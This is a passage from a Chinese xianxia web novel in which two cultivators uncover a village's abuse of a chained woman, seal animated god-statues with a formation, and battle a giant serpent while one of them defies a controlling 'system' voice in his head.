“这一脉逃进妖域后便没了踪迹,直到三十年前,不知怎么入了妖王的眼,被一路提拔,现已挤进妖族老牌世家中,成了四大家族之一,白骨精韩家。先前酒楼那个肆意妄为的骷髅头,就是韩家的人。”
楚江蓠轻叩额心:“鬼修只剩妖族的韩家了吗?你说铜城城主严查妖族,会不会已经知道此事与鬼修有关?”
霜天晓点头:“很有可能。”
楚江蓠冷笑一声:“好好好,这城主也是只老狐狸,明知事涉鬼修,还用委托吸引不明就里的修士前来查探,他的目标可不简单。”
说完,她收起盛露,不想掺和进修界的阴谋诡计中,抬眸望了眼天色。
天色不早,星子稀疏,他们应当尽快回去,只是脚下霜天晓翻出的杂物还没处理。
楚江蓠便快速翻看了一番,霜天晓在一旁解释道:“这是我从厢房翻出来的画卷,和你说的一样,这家确实有个孩子,应该是被富养的女孩,你看她有不少漂亮的裙子。”
楚江蓠从这堆杂物中翻出了一卷画,画上的线条扭曲诡异,带着孩子天真的笔调,整个氛围都是阴沉沉的。
画面里,邪异的神像张着大嘴,几乎要冲出画面。而神像前跪着一个瘦小伶仃的女人,铁链扣住了她的脖子,正在挨打。
楚江蓠定睛细看,才看出那女人不是跪姿,而是断了双腿,用木头包住了膝盖,像极了被烙上马蹄铁的骏马。
女人身上扑着一个穿着裙子的女孩,女孩挥舞着手臂,试图挡住周围人的棍棒。那些人面目模糊,身影被水洇开,如一片黑雾,晕进了神像里。
似乎他们的灵魂已经被神像吞噬,留下的只是一群行尸走肉。
这画面看得楚江蓠一身恶寒,她很想离开这是非之地,却又挪不开脚步。
直到霜天晓收走画卷,她才回过神,有些恍惚。
她望向他的脸,鼻头酸涩难言,心头翻涌着咸涩的海风,吹得世间刮起了漫天的沙,细沙障眼,连她眼前的面庞都跟着模糊了。
她揉了揉滚烫的眼眶,勉强镇定道:“所有的环节都连上了。”
霜天晓看见她眼尾被揉得红肿,眼里水光闪动。
她的眼瞳似乎是片阴霾的天空,脸颊的抽动如电闪与雷鸣般,交替着藏进层云,细雨却始终不曾落下。
他垂下头,不去拆穿这寂静的默契,他已经明白这里发生了什么。
一个被锁在冷窖中的女人,多年来,与自己的排泄物同食共宿,又被打断了腿,生下了一个女孩。
女孩去了哪里,他不知道。
女人去了哪里,
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他也不知道。
但那群畜牲,千刀万剐,死有余辜。
“铁链上沾了毒,可能是时间久了,她获得了这家人的信任,有机会给他们下毒后,杀了全家,逃了出去。”楚江蓠沉声道。
“还不够解恨!”霜天晓咬牙,转向屋外,屋外层峦叠嶂的青山在夜色中张牙舞爪。
他冷声道:“断了腿的人能走多远?要往哪儿去?我想去找到人。”
屋外忽然传来悉悉索索的动静,树梢在摇,乌鸦在叫,阴云盖住了整个村子,世界已是一片黑暗。
咚咚——
咚咚——
奇异的声响传进耳朵,楚江蓠眼皮一跳,只觉不好,立马拉上霜天晓的衣袖。
只是反应还是比他慢了一些,一阵凤鸣长啸,霜天晓已然拔剑,剑风扫开了破旧的院门。
院门外,层层叠叠的黑影阵列如麻,四只黑眼闪动着邪异的光。
是那些神像碎片!
它们全都恢复了神像的模样,滚到院外,弹跳着往两人而来。
神像每跳一步,就会发出一声“咚——”的声响,密密麻麻的“咚咚”声,在夜色中飘荡。
简直是死神的催命咒!
长剑一扫,霜天晓立刻双手结印,脚下展开一张巨大的翠色阵法。
阵中抽出数根青绿藤蔓,如雷似电般,直攻向那群神像,成功阻挡了它们的脚步。
被捆住的神像动弹不得,咧开扁平的嘴巴吐出黑烟,黑烟阻慢了藤蔓的速度,挡在后方的神像如潮,扑向那些藤蔓。
黑烟漫漫,青影闪动,楚江蓠看着这场面,下意识攥紧了手,在霜天晓的衣袖上留下了几道褶痕。
他回头,温声对楚江蓠道:“别怕。”
声音刚落,那群神像已撕碎了藤蔓,涌向他们。
“撤!”霜天晓冷声道。
眼前光影一闪,简单的传送阵完成,两人已出现在村外。
楚江蓠望着桑林村的残破景象,听得那群神像的“咚咚”声已转向他们。
她自责道:“是盛露唤醒了它们……我应该早想到这点的。”
霜天晓:“先不管原因,邻村还有人,万一它们出了村子,就危险了。”
“开封印阵吧,潜龙阵。”楚江蓠当机立断。
霜天晓望向她,单手结了传送阵:“我元婴还在沉睡,开潜龙阵需要压阵,只能自己进阵。我先送你离开,你去通天阁找救援。”
楚江蓠眼见传送阵的金光围拢而来,她直接冲出了阵法范围,抓住了霜天晓的手腕,将他同自己扣在一起。
霜天晓猛地颤了一下,嗓音急的冒火:“你疯啦?”
她用力一扯,扯得他踉跄而下,盯着他的眼睛,命令道:“撤阵!”
手腕间金光一闪,核心契约生效,霜天晓即使满脸怒容,也在她的命令下,收回了传送阵。
阵法消散,他大口地喘着气,扭过头去。
楚江蓠吸了口气,让自己尽力镇定地开口:“压阵而已,不需要你拼命,有的是办法。”
霜天晓叫起来:“你知道同等修为中,鬼修无敌吗?这群鬼东西凑在一起,别说我一个元婴初阶,合体境来了都得同归于尽!我不压阵,还能怎么办?让周围的凡人去死吗?”
“咚咚——”
“咚咚——”
神像黑影如潮水般涌来,荡开层层波浪。
楚江蓠咬着牙道:“听着,事情因我而起,我就有能力承担。”
霜天晓:“你能怎么办?你连修为都没有!”
她冷笑一声,闭上眼,脑海中核心高速运转,一道灵光从她额心射出。
灵光中浮着一枚蓝色戒指。
是她的储物戒,经核心改造后,同盛露结合成了一个灵力放大器。
她前段时间研究炼剑也是有点成效的,她已经可以模仿盛露,将灵力刻录在物品上,并且释放其中的灵力了。
她紧紧捏着戒指,手心的汗浸得戒环有些滑。她咬紧唇,心一横,抛出了戒指,直抛向神像潮的中心。
幽蓝的戒指在空中荡出一道圆弧轨迹,像是一颗蓝色的流星,她垂下手,连指尖都在颤抖。
心头被紧张的情绪胀满,她将唇瓣咬得几乎麻木,死死盯着那片神像潮。
神像潮的起伏波浪平息下来,她只觉眼眶再度袭上热意,唇瓣慢慢恢复知觉,疼痛如电击。
她轻哼了一声,果断开口:“起阵!潜龙!”
17. 修界的支点
黑暗中,一条翠色长龙腾出地面,沿着周边山林盘桓,绕完一圈,长龙衔尾,将桑林村彻底锁住。
潜龙阵起,数不清的漆黑神像被困在村里,安静地颤动。
这堆神像的顶上,浮着一枚幽蓝的戒指,戒指的光放缩着,影响下方一片神像的震动节奏,安抚下它们的躁动。
霜天晓冷眼盯着阵内,双手结成复杂的法印,指尖缠绕着青光符文,不断向阵内输送灵力。
他手背青筋绷起,指节因血液汇聚而浮出淡红,右手结成莲花印,自青光符文上方划过,天边阴云随之旋分,露出群星。
他猛然一睁眼,眼中光亮一闪,群星中射下一道光柱,光柱搅碎风云,直直落于阵心。
光柱一触及大地,地面一震,尘土自阵心往外漫开,所过之处,震颤的神像全都静止下来。
直到尘土漫天,构成一片迷蒙光雾,将神像封印于村内,潜龙阵才算完成。
霜天晓收回手,吐出了紧张的呼吸,周围都安静下来。
他盯向楚江蓠,眼神满是惊奇,绕着她转圈,问道:“你扔的那是什么?楚家的秘宝吗?你不是没修为吗?装的?不然怎么能压阵成功啊?我想不通啊,太神奇了!”
楚江蓠问:“潜龙阵封印成功了?”
霜天晓连连点头:“神像被你的戒指压住了。”
闻言,她彻底松了口气,双腿一软,跌落在地。
霜天晓吓了一跳,忙过来拉她,追问:“这是怎么了?力竭了?你在隐藏实力吧?”
他一捉上她手腕,三指在她腕间掐了下,疑惑道:“不对啊,你灵脉真的不通,怎么压的阵啊?”
楚江蓠拨开他的手,没好气道:“我不是跟你说过,我可以炼制凡人也能使用的法器吗,这就是。”
霜天晓倏忽睁大了眼,不可置信道:“我以为你在吹牛,居然是真的?!我还是不明白啊,你是怎么做到的?”
“说来复杂,你也听不懂。”楚江蓠摇了摇头。
戒指压阵的原理确实有点复杂,会颠覆修界的认知,想要解释清楚,她还得给他补点科学知识。
但今天实在心力交瘁,她不想再给人上一堂科普课。
还好,她刚刚的预测成功了,改造后的储物戒确实可以压阵,能辅助霜天晓封印神像。
她这才能放下心来,重新整理思路。
这次预测的成功,让她拼上了这个世界的最后一块拼图,她明白了灵力究竟是什么。
用修仙界的话来解释,一向认为灵力是无所不在的炁。
在修炼心法里,炁的解释是:离形去智,同于大道。
这个解释太抽象,于她而言,总是那么云里雾里,很难把握精髓,她更喜欢用一些具象化的理论来解释。
经过刚刚储物戒压阵的试验,她能确定,修仙界所谓的灵力是一种弥漫在宇宙间的灵力场。
修士使用灵力,则是以不同的频率来激发灵力场,让这片灵力场如海浪一般波动,触发不同的效果,实现目的。
正因如此,盛露在向委托莲玉输出灵力时,也激发了四周的灵力场同频波动,向外传递。
盛露本身就源于鬼修,因此,灵力场在传递波动时,也唤醒了同属鬼修的神像碎片。
如果硬要比喻的话,其实可以将这个过程看作推秋千。
秋千在空中摆荡,时高时低。
神像碎片就是这架秋千,而盛露是推秋千的力。
盛露的推动节奏,与碎片的摆荡节奏恰好相同,都是属于鬼修的节奏。
这就像是,盛露总在秋千摆到最高点时,顺势推动,秋千也就会越摆越高,碎片的力量也越来越强。
原理明白了,想要解决就很简单了,只要让秋千停下来就好。
如何让秋千停止摆荡?
胡乱拉扯?
这就是修仙界压阵的原理:修士们使用自身的灵力,强行拉拽住秋千,将它死死压制在那里。
但这个办法并不高效,只是一通蛮力,需要耗费大力气才能压得住阵。
最高效的方法其实是:保持频率,改变周期。
也就是在秋千下降至最低点时,用同样的力,反向推它。
让它上升时被拽着下降,下降时被推着上升,所有的运动都被外力抵消,秋千自然就停止在那里。
戒指压阵便是如此,她通过改造戒指,将盛露的频率移动半个周期,成功使得灵力场相互抵消。
结果就是,一枚戒指便压住了一片暴动神像,四两拨千斤。
“四两拨千斤!太巧妙了,太厉害了!”霜天晓惊叹道。
虽然楚江蓠没同他详细解释,他也并不明白究竟是怎么做到的,但仍窥见了她所用技法的巧妙。
若是让普通修士学会了,越级强杀就不再是梦想。
若继续往下挖掘,确实能制作出供凡人使用法器。
想及此,霜天晓不停跺着双脚,行走间颇为激动,像只弹簧狗一般,蹦蹦跳跳。
他眼带笑意,由衷夸赞道:“你肯定能炼出灵剑!”
楚江蓠满意地起身,拍了拍屁股上的泥巴,看着他弯弯的笑眼,不由心情也好了几分。
她也语带笑意道:“挺简单的,以后我们合作,你就听我的,我包准让你进阶神速。”
霜天晓干脆利落地答了声“好”,眼前的封印光雾却逐渐沉降,四野的风都静止下来。
只见一道紫光突然射出光雾,向四面八方散开。
“碰!”一声,地动山摇,光雾炸散,如粉末般沉落,露出村内的景况。
满地烟尘,一派荒芜。
那些震动的神像黑影已然再度炸为粉末,在断垣残壁的村落中,铺成了一地陶沙。
沙尘上静置着一枚幽蓝色的戒指,戒指后方冒出一缕黑影,黑影如瞬息间闪过,直窜向西方的山林。
地动之中,霜天晓下意识拉住楚江蓠,一同站稳。眼前忽有黑影窜过,他正要起阵追去,额心却倏尔一震。
他似乎听到无数的悲嚎声,在自己胸口共振。像是万马齐喑,像是山音悲鸣,像是整座山林都在共唱挽歌。
心中涌起不可言说的悲伤,霜天晓甩了甩头,连念了两遍清心咒,才将这股痛苦的情绪祛除。
再回头去看楚江蓠时,她只攥紧双拳,静静地站在那里,黑牛面具上闪烁着晶莹的光。
她哭了?
他快速丢了几个清心咒给她,连忙唤回她的意识。
在他的呼唤声中,楚江蓠恍然抬手,摸了下面具,冰凉潮湿。
她垂眸,盯着指尖的水润,这才意识到自己居然不自觉流下了泪。
脸皮已然麻木,她说话声极为低沉:“我好像听见许多许多女孩在哭,细细的,弱弱的,四处都是连绵不绝的哭声。仔细听,是女孩们在喊‘妈妈’‘救救我’……”
霜天晓干巴巴地接话:“你……”
话没接上,他在开口的瞬间,意识到楚家大小姐年幼丧母,或许是那些女孩的哭声唤起了她的记忆。
沉默了一会儿,他才重新整理语句:“抱歉,刚才封印失败了,那堆神像粉碎时放出了许多怨念,影响了你的心神。”
她擦掉眼泪,继续问他:“那些怨念是什么?是她们的灵魂吗?她们在哪里?”
霜天晓叹了一声:“她们的灵魂早飘散了,只剩一点情感,零碎拼凑在了一起。”
说着,他指向黑暗的山峦:“那些怨念残影逃上了山,应该是女孩们都埋在了山上。”
楚江蓠心头一跳,眺望向西方幽暗的山林。
乌鸦展翅,从黑暗的山林上飞过。
阴翳云层几乎压垮了那座死寂的山,满是不详的气息。
理智告诉她现在应该离开,回到通天阁,但她却始终迈不出后退的步伐。
她似叹似悲:“女孩子?数不清的女孩子啊,都埋在了山上……你想回去吗?”
霜天晓直勾勾地看着她,目光澄澈见底。
他脑海中响起一道电子音:【警告!即将偏离剧情主线,危险度70%,奖励值为0,请拒绝上山邀请,尽快回归攻略任务,否则惩罚。】
霜天晓闭上眼,眉头微锁,唇畔却提起一抹笑意。
星光浅淡,照不清他的脸,楚江蓠只能看见他模糊的轮廓。
那轮廓缓缓前倾,他的脸庞随之靠近,恰搁在她眼下。
他睁开眼,空明的目光闪烁着,他在自下而上地看着她。
明明是一种求助的下位姿势,却因为太近了,连他呼吸的气息都清晰可闻,她下意识后撤了两步
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,心头微乱。
星光下,他笑意清淡,似是含着某种自嘲,声线却缭绕着浅浅的草木香,几欲迷人眼。
他说道:“上山吧,她们的埋骨地还没找到,万一能救下一两个呢。”
闻言,知晓自己有了同伴的支持,楚江蓠终于放下心来,却没看见他微簇的眉头,似乎在隐忍着什么痛苦。
她同霜天晓一起,捡回储物戒,顺着荒草蔓生的山道往山上爬去。
夜风吹过草叶,带着泥土的水腥,分外粘腻。
草叶蹭过她的腿,隔着薄透的裤子,留下细密的氧意。
她挠着腿,指尖有碎片簌簌坠落,就像是她挠下了一块块奇异坚硬的外壳。
她立马扯起裤子,裸腿暴露在清凉的空气中。
星光漏过叶隙,洒下点点晶莹,映出她的皮肤质感。那片皮肤光洁顺滑,她腿上并没有长出奇异的东西。
她低头反复观察,身边却忽然拢上了一圈微光。她茫然地抬起头,只见霜天晓已站到了她身旁。
他双手结了个法诀,用微光将她笼罩,将湿冷的夜风都隔绝在微光外。
手上虽结印,他人却撇开眼,不曾看向她裸露的腿,只淡淡地问她:“被虫咬了?”
楚江蓠放下裤子,奇异地摇了摇头:“没,这山里阴森森的。我走这一路,腿上就像是趴了很多甲虫,但一掀开裤子就不见了。你有感觉到吗?”
霜天晓依旧没看她,正微微侧头,看向周边的落叶,脸色苍白。
直到她问完,他才转过头,隔衣拉起她手腕。
楚江蓠垂眸,看向被他握住的手腕,那里翠色光点闪动,如萤火般飞舞流泻。
大约是他在运转某种阵法,翠光送来温暖熨帖,替她驱散了脚底升起的湿寒。
湿寒阴气彻底远离,她试着抽出手,同他说:“多谢,我没事了。”
手腕却被他握紧,霜天晓继续拉着她,往山上攀登。
他走在前方开道,淡淡道:“跟紧我,怕是山里有阴邪。”
四周翠光点点,清寒自升。她下意识靠紧了一些,攥上他的袖角,跟着他往山上爬去。
草丛摇曳,一道黑影紧跟在两人身后,若隐若现。
走了许久,入目仍然是无际山林,只有清亮的山风在耳畔穿梭。
楚江蓠攥了攥手心,才发觉已然有些潮热。手腕被他握了一路,麻麻的,似乎全身的血液都僵滞在那里。
她手指微动,勾了下他的衣袖。霜天晓停下步伐,面带疑惑地回头。
她耳尖微微发热,轻扭手腕试图挣开,同他道:“麻了,有些累。”
他面上一怔,手“唰”地松开。
手腕间的血液重新流通,她只觉自己的手轻飘飘的,明明他已经松开,却仍像是被他握着,同耳尖一般红热。
困惑于这种感受,她一时不知说些什么,便转过身,蹲在草地上吹风。
霜天晓也跟着蹲下来,静静地盯着林梢,慢慢道:“我在想,或许再往前走会很危险。”
楚江蓠:“嗯,还好你逃跑第一名,传送阵用得最溜。”
霜天晓似是被逗笑了,点点头:“要不,我先送你回去吧,你去通天阁汇报,我自己去看看。”
大约是他语气太轻,夜风也轻。楚江蓠心中一暖,笑眼弯弯地打趣道:“没我,你都不知道死几次了,还怕什么?”
霜天晓噎了一下,笑着连连点头:“说的也是,你是主心骨,定海针!”
楚江蓠愉快道:“当然,给我一个支点,我就能撬动整个修界。听说过天道之子霜天晓吗?以后你把他踹下来,天道之子就是你了!”
霜天晓浑身一颤,神色怪异地觑了她一眼。
她莫名回望过去,问道:“你看什么呢?”
霜天晓挠了挠头,扭开脸去:“那个,支点撬修界?真的假的?谁说的?”
楚江蓠理所当然道:“我说的!”
他上下打量着她,终是灿烂地笑起来,双眸闪动明亮,像是想起了愉快的事情。
他笑眼弯弯道:“好好好,一起惩妖除魔!”
便是在这笑言中,含混着风声虫鸣,草叶簌簌,细听似乎还有泥土抖落的声音,清幽而杂乱。
霜天晓脸色微冷:“嘘,先别动!”
18. 系统的惩罚
那泥土的声响细微,像是草木初萌,混在山音中,很不起眼。
两人停下动作与交谈,倾耳细听,才能隐约听见。
霜天晓沉默地蹲在草地里,借灵力加强听觉,脑海里电子音再度响起警告。
【危险!请立刻撤离!危险!请立刻撤离!】
霜天晓嫌警告声太烦,低声威胁道:“你再吵,我们就都死在这儿!”
电子音沉默了。
楚江蓠望了眼他,抱紧膝盖,屏住呼吸。
霜天晓抬指结印,望向林叶深处,温声道:“没说你,不用屏息。”
楚江蓠猛地吸了一大口气,湿冷的空气沉入肺底,眼角余光黑影一闪,他忽然窜出,带出了一道清风。
耳畔风声呼啸,她还未及反应,脚下已圈出一圈光环,风送来霜天晓的声音:“待圈里别动,别怕。”
怕?
楚江蓠心头袭上一抹荒唐可笑,她怎么可能会怕?
冷哼了一声,她余光看见脚下那圈光环,认出了这是一圈拒止阵。
只要开阵的霜天晓不死,拒止阵就会保光环内不受一点外物侵袭。
冷哼成了冷笑,她重新蹲好,只盯着前方的风吹草动。
既然有人这么关心她,怎能浪费他的好意?
霜天晓在窜向林叶的瞬间,便推开手掌,吹出一股狂风。
风吹得草叶低身,露出了漆黑鳞片的点点反光。
反光闪烁,一条黑色巨蛇忽地窜出草叶,张开巨口,吐出一道绿色火焰。
霜天晓面色一凛,前跨一步,脚下旋转出白色光阵,四周寒气陡然攀爬,草叶都结上了冰霜。
是九寒冰阵!
冰阵腾起,速度比光还快!
霜天晓身前瞬间结了一面繁复光轮,光轮边缘插满了白色锯齿,像是一根根鸟类的羽毛。
绿焰已至,跳动的火焰撞上光轮,便如撞上冰墙,向四面八方漫开,蒸腾出浩荡的白茫水汽。
水汽蒸腾,拂动霜天晓漆黑的长发。
他反手运气,带动面前的光轮嗖嗖旋转。光轮边缘的锯齿射出,如飞箭似霰雪。
瞬如散花!速度极快!
一根接一根,无数寒冰锯齿穿过绿焰,拖曳出洁白水汽,嗖嗖直向巨蛇而去。
为阻挡这些寒冰锯齿,绿焰层层爆发,像挥舞的鬼爪般,燃烧、抓拍、吞噬……阻拦着锯齿去路。
绿焰灼热,烧得锯齿纷纷升出水汽,沸腾弥漫。
无数根锯齿,无数缕水汽。
伴随着刺耳的蒸腾声,在穿越火线的路上,寒冰锯齿大都融化消殆。
剩下的寥寥数根虽细又短,迅捷却不减分毫。
它们像一根根白羽之矢,直接凿穿千钧之重的绿焰,将尖细的箭头送入巨蛇的领土。
巨蛇瞳孔拉成一条竖线,在绿焰白雾中寻找敌人,直到锯齿进入视野,它才立刻甩尾,直起前身。
巨蛇前身张成一片风帆,片片蛇鳞闪烁着绞紧,铺满全身。
它拉紧肌肉,连竖瞳都绷到极致。
竖瞳深处,绿焰在燃舞,点亮蛇眼中的细碎星光。星光之上,反射出幽林与白雾。
忽然间,白雾破开空缺!
根根雪色的锯齿直射而来!
竖瞳骤缩!
雪色锯齿穿透白雾,纷纷撞上巨蛇前身。
流光纷飞,锯齿碎成粉末。
铿锵叮咚,清响声声不绝。
锯齿划过蛇鳞,划出道道流光,如星雨崩塌!
锯齿破碎中,清寒翻卷,蛇鳞有如一片片冬日的玻璃,结满了霜花!
飞霜流空,锯齿射尽,碎成空茫冰屑细雪,那片片蛇鳞仍坚实不动,只剩满天晶莹。
晶莹碎粉中,倏然飞出一道黑色身影,如雷霆电闪,立在巨蛇身前。
巨蛇庞大若高山,巍巍不可侵。
在骇人的威势前,来人不过几片蛇鳞大小,却不退不避,对着巨蛇伸出了右手。
那只手白皙修长,指尖闪烁着绚烂的七色光辉,照亮他的侧脸。
鼻梁线条流畅纤细,在霓虹光影下明明灭灭,如琴弦般利落干净。
是霜天晓!
他冷眼倾身,脚步敏捷,迅速闪现至巨蛇身下,探出右掌按于巨蛇七寸处。
掌心接触处,七彩光芒大放,那迷幻的色彩闪动着,从中爬出一道道繁复符文。
符文如一根根光链铁索般,缠缚住蛇身,收紧锁死。
霜天晓口诵咒文,并起另一只手的双指,指尖隐约可见一道极薄的光芒。
或许是光符,或许是雷电,那极薄的光芒被他画成一道虚影,在蛇身上留下几个文字。
“元一去尘,吞魔大杀”
吞魔阵成,他并指用力,灵光点上阵眼。
缠缚蛇身的光链瞬间绞紧流转,如绞索绞杀敌人一般流转。
光链下,蛇鳞张阖。
巨蛇在利用锐利的鳞片切割光链。
鳞片割伤了霜天晓的手掌,鲜血淋漓。
他咬牙用力,加强了光链的力量,却忽觉头皮炸起,抬眼便见巨蛇垂头,正冲他张开巨口。
鲜红的蛇口如红海汪洋,红海深处,一团绿光炫转。
那绿光是污秽之力,是危险术法的前兆!
霜天晓悚然一惊,浑身汗毛都跟着炸起,脑海里的电子音疯狂响着警报!
是[降龙柱]!
是元婴期以下,破坏力最高的术法之一!
只待三秒蓄力后,巨蛇就会吐出一道长约十米的电火光柱。
光柱将穿过所有阻碍,将一切如糖葫芦般串起来,再烧成灰。
而在巨蛇蓄力[降龙柱]的三秒内,四周的空气都会变得粘稠,如一片沼泽,令锁定的猎物行动迟缓。
霜天晓当即想撤,脚步却被粘稠的空气阻碍,越用力越难以动弹。
汗毛全部炸起,他只觉皮肤窜过一道道细密电流,知觉酥麻,连掌心的伤口都无法感觉到疼痛。
蛇口里的绿焰炫转着,愈发明亮胀大。
他一攥掌心,空气中响起凤鸣,灵剑出鞘。
只能用灵剑结阵,去吸收[降龙柱]的伤害了。
脑海电子音狂啸:【危险!死亡系数50%!挡不住啊,快开雷灵珠吧!!】
“开个屁!”
那雷灵珠是仙道百家在拼死争夺的秘宝!
是他在天雷秘境里,借假死骗过无妄海的那群疯子,从蛇妖栗云手里抢走的秘宝!
这一路被栗云追杀就算了,至少她不屑耍弄阴私手段,要杀要抢也是光明正大。
他只需躲在这里,栗云没了他的下落,他就是安全的。
一个栗云而已,他尚能应付得过来。
但他若用出雷灵珠,天地必生异象。届时仙门百家纷纷出动,下一秒将全部降临这座山头!
要杀他的人就不止这条黑蛇了!
那堆化神老怪、渡劫半仙,能把他连人带山抹成齑粉!
霜天晓盯着绿焰,这般一想,立刻攥出灵剑,决定拼死起阵一博。
脑海里系统的电子音仍在尖啸:【要死了,快开雷灵珠!】
霜天晓冷斥一声,拔剑而出:“吵什么?想要我死吗?不如你退一步,把我的印戒放开。”
刚才他不顾系统威胁阻拦,偏要登上这座山。
谁料,在他踏上山道的那一刻,系统直接给他施加了印戒,封了他两道灵脉,令他实力跌至金丹初阶。
系统美名其曰这是惩罚,只要他离开这座山,乖乖去走主线剧情,就解开印戒,并且给他送上大礼。
他不明白系统这么做究竟有什么目的,也听不懂系统经常念着的,什么原著,什么剧情,都是些什么。
他只知道,
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这系统自从绑上他,就一直想把他框在剧情范围里,操控他的行动。
但他想上山找到那些含冤的女孩。
怎么想就该怎么做!
“这世上岂有被操控的傀儡!”他愤而立剑横挡,剑身艳红之火如凤羽翙翙。
纵使此身长灭,他也要赢回自己的心!
满目艳红中,世界黯然失色,只剩巨蛇口里的那团绿焰。
幽绿的火焰跳动着、旋转着、闪烁着,仿佛成了幽冥的太阳,是这世间唯一的光源。
绿焰忽地满胀,胀出蛇口。
脑海里,系统在狂啸:【你去死吧!我要重开!】
在这电光火石的一刹,山风停止了呼吸,一切声息都放得极为缓慢。
虫鸣似乎过了几个世纪。
偏偏有一道坚定的声音,跨越飘渺的山风与虫鸣,闯入他耳朵。
是楚江蓠在高声呼喊:“镜光阵打底,开九寒冰阵!”
只这一声,清清脆脆,却是不容抗拒的命令。
因着契约影响,她一声令成,他就无法再控制自己。
原本要开启的防御阵停止,他的手脚自行拖着他单膝跪地。
接着右手抓起灵剑,就地一插,四周雪白阵法展开。
他身前再度浮起白色光轮,边缘插满鸟羽状的锯齿。
光轮旋转,寒冰锯齿飞散,阵心向外展开一块块碎裂的银镜。
空间里的银镜组成一片曲面,向内弯曲如碗状,镜碗里盛满了[降龙柱]的绿光。
[降龙柱]直射而来,穿透枝梢,穿透山石,穿透一根根寒冰锯齿。
[降龙柱]轰然暴烈,所过之处皆成漫漫齑粉,无数锯齿散成冰尘,纷纷扬扬,一片晶莹。
这片晶莹的粉末将[降龙柱]不断散射,粗直的电光柱散成一片朦胧的光,全都落进了镜碗中,又被镜片反射出来。
无数镜片同时调整角度,镜片组成的曲面呈现一种柔韧的质感,它弯曲至合适的角度,将反射的绿光汇聚至一点。
绿光自四面八方向蛇头聚焦,瞬间点燃了蛇头!
巨蛇哀嚎一声,摔进草地里翻滚。
这一摔,动静巨大,带着大地震动,土地里的烟尘满天。
霜天晓跪地喘息着,只见身前的镜片一点点碎裂,落了一地清水。
他回过神,疯狂鼓动的心头浮出喜意,长笑道:“我有定海针,系统你自己去死吧!”
他回头望向楚江蓠,只见她独立于拒止阵中,正紧张地看着他。
他起身向她奔去,高呼道:“先撤!”
却见楚江蓠大叫道:“小心背后!”
霜天晓只觉身后阴风突起。
原是那条巨蛇在地里翻滚两圈,滚灭了火焰。因蛇鳞坚实,巨蛇未曾受到多少伤害,只在额头留下了一点黑斑。
然而巨蛇脸上的鳞片已然炸起,是彻底的激怒状态。
它甩头再起,直直向他咬来。
霜天晓心知不妙,立刻踮脚起飞,落至树梢之上。
后方蛇头一甩,拐出一个极诡异的锐角,重新攻向他所在的树木。
轰隆!
巨树倒塌!
乱石和断枝飞溅,星光与树影齐灭!
噼里啪啦的乱石当空溅落,四野被砸得千疮百孔,无一块好地。
楚江蓠差点要迈出脚下的拒止阵,向附近的树下躲去。
但在这一瞬,拒止阵闪烁,她头顶忽地展开一束流光。
流光化作光伞,伞面漾开水泽般的涟漪,挡住纷纷碎石。
天空溅下的碎石如雨,落上伞面,便沿着光伞滚落,如大大小小的珠石密帘。
石雨缤纷,那光伞明明看起来是柔软脆弱的水波,却能挡住这泰山崩裂的力量。
而她独自站在光伞之下,眼见四方破碎,只有她所立的方寸之地,是唯一的静谧之乡。
19. 幽绿的蛇眼
碎叶从楚江蓠的眼前飞过,她焦急地扫视四周,寻找霜天晓的踪迹。
然而四野尘土纷飞,满目皆狼藉,连他的一片衣角都没看见。
但他应该还活着!
毕竟她头顶的光伞未灭,设下光伞的主人就不会死!
她对着山林呼喊他:“喂!你还好吗?”
几乎是立刻,便见碎叶间黑影一闪,霜天晓从中露出雪白的脸,嘴角虽沾了点鲜艳血迹,却扬唇冲她一笑。
巨蛇仍在他身后追逐,连她的一颗心都为他悬得老高,却万没想到这种时候,他还能笑出来。
在这一瞬,她有千言万语想要叮嘱,却未及开口,便见巨蛇倒卷,如一道漆黑闪电,直射向他。
吓得她倒吸一口冷气。
而霜天晓却仍带笑意,云淡风轻地一踮脚,再度飞进山林,不知落在了哪棵树上。
蛇头生生扑了个空!
蛇头愤怒地扑腾着,撞翻山林,却追不上他。它暴怒地张口,喷出连珠般的光弹,噼啪着一路追击。
光弹追击下,霜天晓不停跳跃,忽在树梢,忽在山头,忽至蛇尾,忽登云崖,将巨蛇耍得团团转。
追击他的光弹一路四散,如假日的焰火,绽放于天幕。
焰火落地,燃成焚天烈焰。
烈焰之中,焦黑的动物四下逃窜,成千上万的树木倒下,树梢的火焰照亮了星辰,也彻底照亮了霜天晓的身形。
艳色火光下,他再无处遁藏。
索性心一横,他灵巧地一转,躲过巨蛇甩来的尾巴,起阵飞于半空。
脚下是赤色火海,头顶是光弹如雨,他回身双手相合:“九天阳雷,开阵!”
忽有光阵绽放于巨蛇腹下,光阵冲天,满天阴云聚集。
阴云中流泻着翠金色的闪光,那闪光轰鸣,轰然劈向巨蛇。
是升级后的九天阳雷阵!
专破邪异的雷阵!
满天惊雷是天公在怒吼,誓要劈碎天下宵小!
一道一道接一道。
足足九道天雷连续轰击完毕,大地塌陷,山林扬尘,巨蛇垂身坠落,蛇腹翻起几片墨色蛇鳞。
霜天晓收势长笑,长发飞扬如墨,尽染星火。
他自天空飘落,任风卷衣袍,只自顾立于巨蛇身前,如一株墨竹植于连绵高山。
风声猎猎,他目色冷然地望着巨蛇,抬手准备封印起阵。
巨蛇抬头,蛇眼忽然闪过一道灵光。
那光芒炫目,晃了下霜天晓的眼,将他的视野晃成一片白光,眼前是一圈圈暗斑。
万物失色,天地皆晦!
直到视野里的白光消散,世界复明,他眼中便只有一片血红的海。
红海浪滔滔,瞬间吞没了他。巨蛇合上血盆大口,扭头盯向楚江蓠。
蛇眼幽绿,像是悬在天边的两个鬼火灯笼。
幽玄阴冷的气息将她包裹,楚江蓠心头一寒,她亲眼看见巨蛇将他吞吃入腹,却仍能强自镇定。
她迅速用余光瞄了眼头顶光伞,光伞仍在,拒止阵始终未破。
这意味着霜天晓还没死!
但他被吞进蛇腹中,若不能赶快出来,迟早要融成一滩水。
他能破蛇腹而出吗?
太难!
那巨蛇的鳞片不知道是什么鬼材质,不怕剑砍,不怕火烧。
她没法从外破开蛇腹,而他在里面也没办法出来。
楚江蓠冷眼盯着巨蛇的动作。
重重火光中,那条巨蛇扭转成一节节的麻花,在坑底翻滚摔打,震得大地直颤。
大约是刚吞了人不舒服,竟让它不顾身下的火焰,只自顾发泄痛苦。
连幽绿的蛇眼都挪开了目光,它已无心再管周围的一切。
这是逃跑的好时机!
霜天晓随时会死,若他一死,拒止阵就会立刻消散。
面对庞然巨蛇,她与其留在这里等死,不如趁机逃出去,去搬救兵!
这座山已被点燃,铜城城主一定能看见,无论如何他都会派人来灭火,救援队正在赶来的路上。
